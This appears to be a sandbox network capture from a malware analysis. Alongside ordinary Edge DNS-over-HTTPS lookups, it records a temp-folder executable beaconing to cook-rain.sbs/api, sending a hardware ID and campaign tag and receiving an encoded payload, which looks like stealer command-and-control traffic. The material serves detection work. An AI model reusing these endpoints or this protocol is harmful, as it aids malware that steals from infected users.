2024-11-18 12:30:39 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 89 00 04 8e fb 74 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomt^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.8	49862	162.159.61.3	443	9064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:30:38 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-18 12:30:38 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-18 12:30:38 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 18 Nov 2024 12:30:38 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e47f914fca78d2d-DFW alt-svc: h3=":443"; ma=86400
2024-11-18 12:30:38 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 e0 00 04 8e fb 74 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomt^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.8	49857	162.159.61.3	443	9064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:30:38 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-18 12:30:38 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-18 12:30:38 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 18 Nov 2024 12:30:38 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e47f9155c952cac-DFW alt-svc: h3=":443"; ma=86400
2024-11-18 12:30:38 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 f5 00 04 8e fb ba 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.8	49866	188.114.96.3	443	5716	C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:30:40 UTC	269	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=HXKN7N6XX User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1214 Host: cook-rain.sbs
2024-11-18 12:30:40 UTC	1214	OUT	Data Raw: 2d 2d 48 58 4b 4e 37 4e 36 58 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 45 42 32 39 43 43 38 46 35 46 38 31 30 32 42 46 37 30 30 35 44 37 42 32 30 31 32 37 41 38 38 0d 0a 2d 2d 48 58 4b 4e 37 4e 36 58 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 48 58 4b 4e 37 4e 36 58 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 48 58 4b 4e 37 4e 36 58 58 0d 0a 43 6f 6e 74 65 6e Data Ascii: --HXKN7N6XXContent-Disposition: form-data; name="hwid"CEB29CC8F5F8102BF7005D7B20127A88--HXKN7N6XXContent-Disposition: form-data; name="pid"1--HXKN7N6XXContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--HXKN7N6XXConten
2024-11-18 12:30:43 UTC	1003	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 12:30:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=28amecgff5a4mh5ass03v9hgd8; expires=Fri, 14-Mar-2025 06:17:20 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DMjPSYKdIfQCexvdkNPOJPKgGVB40v97MFBJB96xgGiD5VWBjcR5e6JK5P%2F1K0qA8IWg2HwiIJJOTfiQUi963KlFxfQFs99jWCl03fP3nyuWBX%2BqKBXgCLty9aADhsow"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e47f9220fe12d29-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2303&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2828&recv_bytes=2119&delivery_rate=2411323&cwnd=250&unsent_bytes=0&cid=8d70c1ec32b8acb9&ts=2658&x=0"
2024-11-18 12:30:43 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 37 0d 0a Data Ascii: 11ok 155.94.241.187
2024-11-18 12:30:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.8	49865	188.114.96.3	443	6596	C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:30:40 UTC	260	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: cook-rain.sbs
2024-11-18 12:30:40 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-18 12:30:42 UTC	1002	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 12:30:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qfvur6jmoefss5rr974su8iuln; expires=Fri, 14-Mar-2025 06:17:20 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=x5TlFA6yi40EIIq0CtfzndqjKqBk8OQI%2FSCiFchVrvo8Do7n6m5vbtfuy%2FPFrB1sCZKcb2TITUfbCTs6H6xR0wPNwcF5NcUMD09rOZVHHd3ByyeEALJBqpCxQkgKY1Gb"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e47f9224ab92e55-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1677&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2829&recv_bytes=904&delivery_rate=1481329&cwnd=250&unsent_bytes=0&cid=b188c3bbc07aaa6e&ts=2123&x=0"
2024-11-18 12:30:42 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-18 12:30:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.8	49867	188.114.96.3	443	6596	C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:30:44 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: cook-rain.sbs
2024-11-18 12:30:44 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-11-18 12:30:47 UTC	1013	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 12:30:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ajd7l9k7qm7df72ip10dr1c2ht; expires=Fri, 14-Mar-2025 06:17:24 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rn9gVRO6GEgAlhQpCNUp1P%2F4fV9y9HIZT5lpG4%2BiqB%2ForS%2BuGmDpN97pgxEUR6XoI7k9%2F14gMrR8AJKKrMn%2FRyu%2B%2B1ewqVuQ4buj4xIFnJef8DV1ovSNWLZ6UJymSePY"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e47f93728826b91-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=973&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=950&delivery_rate=2881592&cwnd=250&unsent_bytes=0&cid=e777da8d8ea04bde&ts=3177&x=0"
2024-11-18 12:30:47 UTC	356	IN	Data Raw: 31 64 39 37 0d 0a 4c 77 53 6a 35 6d 33 5a 6a 4b 35 62 57 6b 37 68 44 4a 4f 73 38 71 56 56 36 34 35 7a 4e 78 52 4f 6f 6e 65 64 64 2b 64 38 53 6d 5a 55 4a 74 58 45 56 2b 32 67 6a 43 67 2f 62 4e 74 34 34 64 6d 58 69 58 65 4b 36 6c 45 4e 63 69 2f 4f 42 50 68 62 78 51 6f 6e 52 42 56 69 77 6f 6f 65 76 4b 43 4d 50 69 4a 73 32 31 66 6f 6a 70 66 4c 64 39 47 73 46 6c 31 32 4c 38 34 56 2f 42 79 49 44 43 59 46 52 32 6a 45 6a 67 69 36 36 4d 38 33 4e 79 75 45 61 66 4c 47 6e 4d 77 34 67 2b 4e 52 47 7a 59 72 32 46 57 6e 56 61 6f 5a 50 67 64 69 5a 64 43 4e 54 36 53 67 31 58 6b 2f 49 4d 4d 32 73 63 32 58 78 7a 6d 4e 36 68 68 66 66 43 62 47 46 50 6b 64 6c 78 55 73 44 6b 64 6d 78 34 38 43 73 2f 7a 43 50 54 41 67 67 6d 50 79 6a 74 36 48 4d 4a 47 73 53 52 55 6c 48 73 4d 45 37 Data Ascii: 1d97LwSj5m3ZjK5bWk7hDJOs8qVV645zNxROonedd+d8SmZUJtXEV+2gjCg/bNt44dmXiXeK6lENci/OBPhbxQonRBViwooevKCMPiJs21fojpfLd9GsFl12L84V/ByIDCYFR2jEjgi66M83NyuEafLGnMw4g+NRGzYr2FWnVaoZPgdiZdCNT6Sg1Xk/IMM2sc2XxzmN6hhffCbGFPkdlxUsDkdmx48Cs/zCPTAggmPyjt6HMJGsSRUlHsME7
2024-11-18 12:30:47 UTC	1369	IN	Data Raw: 37 65 4d 54 4d 6e 68 6e 7a 36 78 35 33 4b 4e 34 54 6d 48 6c 5a 32 4b 38 6f 66 38 42 2b 42 45 79 55 43 54 57 61 42 79 6b 2b 38 39 6f 78 68 65 41 2b 47 66 76 62 43 68 6f 55 4e 79 66 4e 66 54 44 59 72 7a 46 57 6e 56 59 30 62 4b 77 64 47 61 63 4b 4d 42 4b 6e 75 33 6a 38 31 4b 5a 46 6f 39 4d 43 61 78 43 57 44 34 68 64 57 66 79 66 4a 45 50 67 52 78 56 42 6f 41 31 55 6d 6d 63 51 75 74 75 58 41 4d 79 38 73 77 33 47 2f 31 39 44 41 4f 38 6d 30 55 56 46 33 4b 4d 45 52 38 52 75 42 45 69 34 4b 51 47 6e 48 6a 67 2b 38 35 4d 51 78 4f 53 47 49 59 66 48 4c 6e 63 4d 78 68 65 30 55 46 54 68 73 78 77 32 2f 54 63 55 77 4c 77 64 66 4a 50 53 48 41 62 58 70 32 6e 6b 6e 59 70 6f 75 39 73 4c 51 6e 33 65 48 36 52 35 48 64 7a 37 46 47 2b 30 5a 67 42 67 6c 42 30 4e 6d 78 49 4d 43 74 Data Ascii: 7eMTMnhnz6x53KN4TmHlZ2K8of8B+BEyUCTWaByk+89oxheA+GfvbChoUNyfNfTDYrzFWnVY0bKwdGacKMBKnu3j81KZFo9MCaxCWD4hdWfyfJEPgRxVBoA1UmmcQutuXAMy8sw3G/19DAO8m0UVF3KMER8RuBEi4KQGnHjg+85MQxOSGIYfHLncMxhe0UFThsxw2/TcUwLwdfJPSHAbXp2nknYpou9sLQn3eH6R5Hdz7FG+0ZgBglB0NmxIMCt
2024-11-18 12:30:47 UTC	1369	IN	Data Raw: 6e 59 70 6f 75 39 73 4c 51 6e 33 65 46 35 52 46 65 66 43 6a 41 45 76 49 51 68 68 6b 72 43 55 70 73 7a 34 4d 4c 74 2b 66 42 50 7a 67 72 68 32 76 6a 79 35 6e 4c 4f 38 6d 69 55 56 4a 75 62 4a 68 56 30 42 4b 54 48 51 63 48 58 47 2b 42 6d 30 47 69 72 73 73 31 65 48 54 44 61 66 54 47 6d 38 45 2f 69 66 34 55 57 33 30 74 79 68 50 2b 47 49 6b 59 4b 41 56 4e 59 4d 32 45 43 4c 7a 38 33 6a 77 2b 50 6f 6b 75 76 34 36 58 33 33 66 52 72 43 64 46 59 54 33 57 56 38 6f 57 69 78 41 76 45 67 31 35 6a 35 31 50 76 4f 4b 4d 59 58 67 6e 67 32 4c 32 78 70 62 44 50 34 62 6a 47 45 64 33 49 4d 34 48 2b 42 57 4d 45 43 63 49 52 47 76 47 69 51 53 78 34 38 67 2b 4f 57 7a 4e 4c 76 62 57 30 4a 39 33 76 2f 77 63 57 56 67 6e 7a 42 79 2f 43 73 73 48 61 41 4e 42 4a 70 6e 45 43 37 66 6d 78 6a Data Ascii: nYpou9sLQn3eF5RFefCjAEvIQhhkrCUpsz4MLt+fBPzgrh2vjy5nLO8miUVJubJhV0BKTHQcHXG+Bm0Girss1eHTDafTGm8E/if4UW30tyhP+GIkYKAVNYM2ECLz83jw+Pokuv46X33fRrCdFYT3WV8oWixAvEg15j51PvOKMYXgng2L2xpbDP4bjGEd3IM4H+BWMECcIRGvGiQSx48g+OWzNLvbW0J93v/wcWVgnzBy/CssHaANBJpnEC7fmxj
2024-11-18 12:30:47 UTC	1369	IN	Data Raw: 61 76 62 4b 6c 73 68 33 78 36 77 57 54 54 5a 30 67 44 72 59 49 4d 63 2f 45 6b 52 53 4b 4e 6a 45 43 4c 65 75 6c 48 6b 30 4c 34 39 6d 2f 73 69 5a 79 7a 32 41 35 78 31 65 63 69 44 4a 45 50 6b 55 67 42 73 70 41 45 46 73 78 34 63 4d 74 4f 48 44 4d 58 68 69 77 32 6e 70 6a 73 69 48 45 70 37 6e 48 31 4d 32 4d 34 34 4d 76 78 4b 4a 58 6e 42 45 51 57 2f 48 67 67 71 33 37 38 6f 78 50 53 53 48 62 2f 66 49 6b 38 67 7a 6a 4f 30 65 55 58 6f 69 79 68 54 2b 47 59 34 52 49 77 45 4e 4b 49 47 44 46 2f 75 32 6a 41 67 37 4f 70 52 2b 2f 59 36 50 69 53 37 4a 36 78 30 56 4c 6d 7a 42 42 2f 55 66 69 78 73 6e 41 55 35 70 78 6f 6b 4a 74 2b 54 46 4d 54 34 6a 69 6e 7a 79 77 70 37 41 4f 59 58 69 48 46 39 31 49 59 42 62 76 78 4b 64 58 6e 42 45 59 57 48 4d 71 67 53 33 36 59 77 6d 64 6a 58 Data Ascii: avbKlsh3x6wWTTZ0gDrYIMc/EkRSKNjECLeulHk0L49m/siZyz2A5x1eciDJEPkUgBspAEFsx4cMtOHDMXhiw2npjsiHEp7nH1M2M44MvxKJXnBEQW/Hggq378oxPSSHb/fIk8gzjO0eUXoiyhT+GY4RIwENKIGDF/u2jAg7OpR+/Y6PiS7J6x0VLmzBB/UfixsnAU5pxokJt+TFMT4jinzywp7AOYXiHF91IYBbvxKdXnBEYWHMqgS36YwmdjX
2024-11-18 12:30:47 UTC	1369	IN	Data Raw: 59 69 48 62 38 6e 61 46 6b 56 6d 4c 34 49 6b 36 52 61 54 46 53 55 49 44 58 6d 50 6e 55 2b 38 34 6f 78 68 65 43 71 4d 5a 2f 4c 42 6b 63 34 37 68 4f 6b 59 55 48 63 71 78 42 2f 31 46 59 4d 59 4b 51 46 48 5a 63 43 4f 42 72 7a 6d 79 7a 6f 71 62 4d 30 75 39 74 62 51 6e 33 65 67 36 77 4e 62 5a 6d 7a 66 57 2b 5a 56 67 68 4a 6f 58 41 31 69 79 34 73 4c 76 4f 4c 4b 50 44 34 68 67 6d 48 77 7a 70 2f 44 50 49 44 71 45 46 68 7a 49 63 51 48 39 52 36 4b 45 69 45 49 51 43 61 50 78 41 69 6a 72 70 52 35 43 53 47 4e 59 50 62 59 30 4e 68 35 6b 4b 77 57 57 54 5a 30 67 42 54 7a 47 6f 59 52 4b 77 64 4d 62 4e 4f 57 41 37 4c 6d 79 54 55 7a 49 6f 56 38 39 38 47 5a 78 44 53 41 36 78 6c 5a 66 43 2f 48 56 62 46 56 67 67 5a 6f 58 41 31 46 31 70 51 43 2b 2f 47 43 49 48 67 72 6a 79 36 70 Data Ascii: YiHb8naFkVmL4Ik6RaTFSUIDXmPnU+84oxheCqMZ/LBkc47hOkYUHcqxB/1FYMYKQFHZcCOBrzmyzoqbM0u9tbQn3eg6wNbZmzfW+ZVghJoXA1iy4sLvOLKPD4hgmHwzp/DPIDqEFhzIcQH9R6KEiEIQCaPxAijrpR5CSGNYPbY0Nh5kKwWWTZ0gBTzGoYRKwdMbNOWA7LmyTUzIoV898GZxDSA6xlZfC/HVbFVggZoXA1F1pQC+/GCIHgrjy6p
2024-11-18 12:30:47 UTC	1369	IN	Data Raw: 4b 50 34 78 35 63 66 79 6a 49 46 76 38 52 67 52 6b 74 42 30 46 74 78 6f 63 41 76 2b 66 43 4d 44 64 73 7a 53 37 32 31 74 43 66 64 36 6a 33 45 6c 6c 37 62 4e 39 62 35 6c 57 43 45 6d 68 63 44 57 72 50 67 51 2b 78 36 4d 67 38 50 69 61 47 62 76 72 4e 6e 38 4d 78 6a 65 4d 52 58 6e 38 74 78 68 44 31 48 6f 4d 54 4b 77 4a 4c 4a 6f 2f 45 43 4b 4f 75 6c 48 6b 59 4e 34 35 69 39 6f 36 50 69 53 37 4a 36 78 30 56 4c 6d 7a 4c 47 66 73 53 68 52 4d 72 44 45 68 69 79 34 45 50 73 2f 7a 45 4f 54 38 2b 6b 57 37 34 79 35 7a 45 4e 34 33 71 47 46 4e 31 4b 49 42 62 76 78 4b 64 58 6e 42 45 59 47 72 47 72 51 69 67 72 74 4e 33 49 57 79 45 59 72 47 57 30 4d 59 38 67 2b 4d 63 56 6e 41 76 79 78 44 31 46 49 49 57 4a 52 5a 4f 61 63 36 41 44 37 54 6f 79 6a 67 33 4b 6f 52 6e 38 4d 61 58 68 Data Ascii: KP4x5cfyjIFv8RgRktB0FtxocAv+fCMDdszS721tCfd6j3Ell7bN9b5lWCEmhcDWrPgQ+x6Mg8PiaGbvrNn8MxjeMRXn8txhD1HoMTKwJLJo/ECKOulHkYN45i9o6PiS7J6x0VLmzLGfsShRMrDEhiy4EPs/zEOT8+kW74y5zEN43qGFN1KIBbvxKdXnBEYGrGrQigrtN3IWyEYrGW0MY8g+McVnAvyxD1FIIWJRZOac6AD7Toyjg3KoRn8MaXh
2024-11-18 12:30:47 UTC	382	IN	Data Raw: 32 51 33 77 72 30 42 4c 6f 47 73 56 51 61 41 73 4e 50 76 6a 45 42 72 7a 31 33 53 38 31 50 49 51 75 7a 6f 44 51 33 33 66 52 72 43 52 57 65 43 4c 48 41 2b 35 59 6f 67 67 69 41 31 31 68 31 6f 74 50 39 61 37 4b 65 57 42 2f 7a 53 37 31 33 39 43 66 5a 39 75 33 52 41 59 68 66 4a 49 4b 73 51 7a 46 43 47 68 63 48 79 69 42 6c 6b 2f 6a 72 6f 73 36 4b 6a 36 46 62 65 66 4e 31 2f 6b 4a 72 76 59 63 55 32 45 39 2f 69 76 34 44 34 67 59 50 78 55 42 63 38 4b 4b 41 62 7a 34 6a 48 64 34 49 38 4d 32 79 49 37 59 68 77 6a 48 72 41 6b 56 4c 6d 7a 31 46 76 45 62 67 67 67 35 53 57 70 38 7a 49 49 59 71 71 36 43 65 54 35 73 32 7a 36 2f 6a 70 54 57 64 39 47 38 51 77 34 6a 66 35 64 46 72 51 72 4c 42 32 67 53 44 54 36 54 79 6b 2b 70 72 70 52 35 66 79 2b 52 66 50 66 4e 68 73 52 77 74 39 Data Ascii: 2Q3wr0BLoGsVQaAsNPvjEBrz13S81PIQuzoDQ33fRrCRWeCLHA+5YoggiA11h1otP9a7KeWB/zS7139CfZ9u3RAYhfJIKsQzFCGhcHyiBlk/jros6Kj6FbefN1/kJrvYcU2E9/iv4D4gYPxUBc8KKAbz4jHd4I8M2yI7YhwjHrAkVLmz1FvEbggg5SWp8zIIYqq6CeT5s2z6/jpTWd9G8Qw4jf5dFrQrLB2gSDT6Tyk+prpR5fy+RfPfNhsRwt9
2024-11-18 12:30:47 UTC	1369	IN	Data Raw: 31 30 34 34 0d 0a 30 6e 2b 45 65 58 6e 63 53 2f 6a 76 79 46 49 59 51 61 6a 56 62 61 39 47 48 43 72 7a 51 38 6a 63 2f 4f 49 52 67 39 38 37 51 69 58 65 47 72 45 6c 73 4e 6d 53 41 4b 72 46 56 6e 56 35 77 52 48 68 6c 7a 34 6f 49 72 66 2b 42 47 69 34 68 6a 47 58 77 6a 74 36 48 4d 63 6d 30 51 52 73 32 4b 4e 46 56 70 30 58 58 52 58 31 58 47 6a 61 54 6d 30 47 69 72 74 70 35 59 48 37 4e 4c 75 4f 4f 79 49 64 77 68 2b 45 51 56 6e 67 76 30 67 66 35 46 70 4d 64 62 7a 70 7a 52 38 79 50 41 37 62 68 78 77 63 47 44 59 35 6c 2f 63 4f 66 7a 41 6d 33 2b 52 4a 62 65 43 76 57 42 4c 39 62 78 52 46 6f 58 48 51 6d 69 63 51 77 39 61 37 55 65 57 42 73 74 6d 33 2f 77 4a 66 52 4a 73 54 4e 48 46 35 36 49 63 38 65 76 31 76 46 47 47 68 63 48 53 69 42 67 42 37 37 74 70 78 72 59 33 6e 51 Data Ascii: 10440n+EeXncS/jvyFIYQajVba9GHCrzQ8jc/OIRg987QiXeGrElsNmSAKrFVnV5wRHhlz4oIrf+BGi4hjGXwjt6HMcm0QRs2KNFVp0XXRX1XGjaTm0Girtp5YH7NLuOOyIdwh+EQVngv0gf5FpMdbzpzR8yPA7bhxwcGDY5l/cOfzAm3+RJbeCvWBL9bxRFoXHQmicQw9a7UeWBstm3/wJfRJsTNHF56Ic8ev1vFGGhcHSiBgB77tpxrY3nQ
2024-11-18 12:30:47 UTC	1369	IN	Data Raw: 62 41 4c 59 37 71 4e 33 55 32 59 6f 41 61 76 30 32 38 58 6d 42 45 63 69 69 42 6e 45 2f 6a 72 76 6b 36 4e 69 4b 45 65 4f 43 44 74 64 41 30 6d 65 6f 53 46 54 68 73 78 6c 57 6e 52 63 74 65 4c 42 55 4e 50 70 48 57 56 4f 36 39 6d 32 6c 71 4d 38 31 33 73 64 6a 51 6e 32 58 48 72 41 4d 56 4c 6d 79 48 46 75 30 48 67 78 30 2b 42 77 70 59 2f 36 49 4d 71 75 54 74 4e 43 67 72 76 56 44 6b 7a 5a 37 4a 4d 4a 2f 39 55 52 73 32 49 34 42 4e 78 6c 58 4e 55 69 34 48 57 79 62 2b 79 6b 2b 6a 72 70 52 35 44 53 2b 4e 59 50 62 59 67 59 6f 52 69 76 30 62 64 48 73 38 78 31 57 78 56 59 4e 65 63 46 63 44 4a 73 57 56 54 2b 4f 2b 6e 6d 4a 74 66 39 51 2b 6f 39 48 65 33 6e 65 66 72 45 6b 48 4f 47 7a 53 56 61 64 56 77 68 30 36 46 6b 74 6c 31 34 64 49 68 64 44 35 4f 6a 59 69 68 48 6a 45 7a Data Ascii: bALY7qN3U2YoAav028XmBEciiBnE/jrvk6NiKEeOCDtdA0meoSFThsxlWnRcteLBUNPpHWVO69m2lqM813sdjQn2XHrAMVLmyHFu0Hgx0+BwpY/6IMquTtNCgrvVDkzZ7JMJ/9URs2I4BNxlXNUi4HWyb+yk+jrpR5DS+NYPbYgYoRiv0bdHs8x1WxVYNecFcDJsWVT+O+nmJtf9Q+o9He3nefrEkHOGzSVadVwh06Fktl14dIhdD5OjYihHjEz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
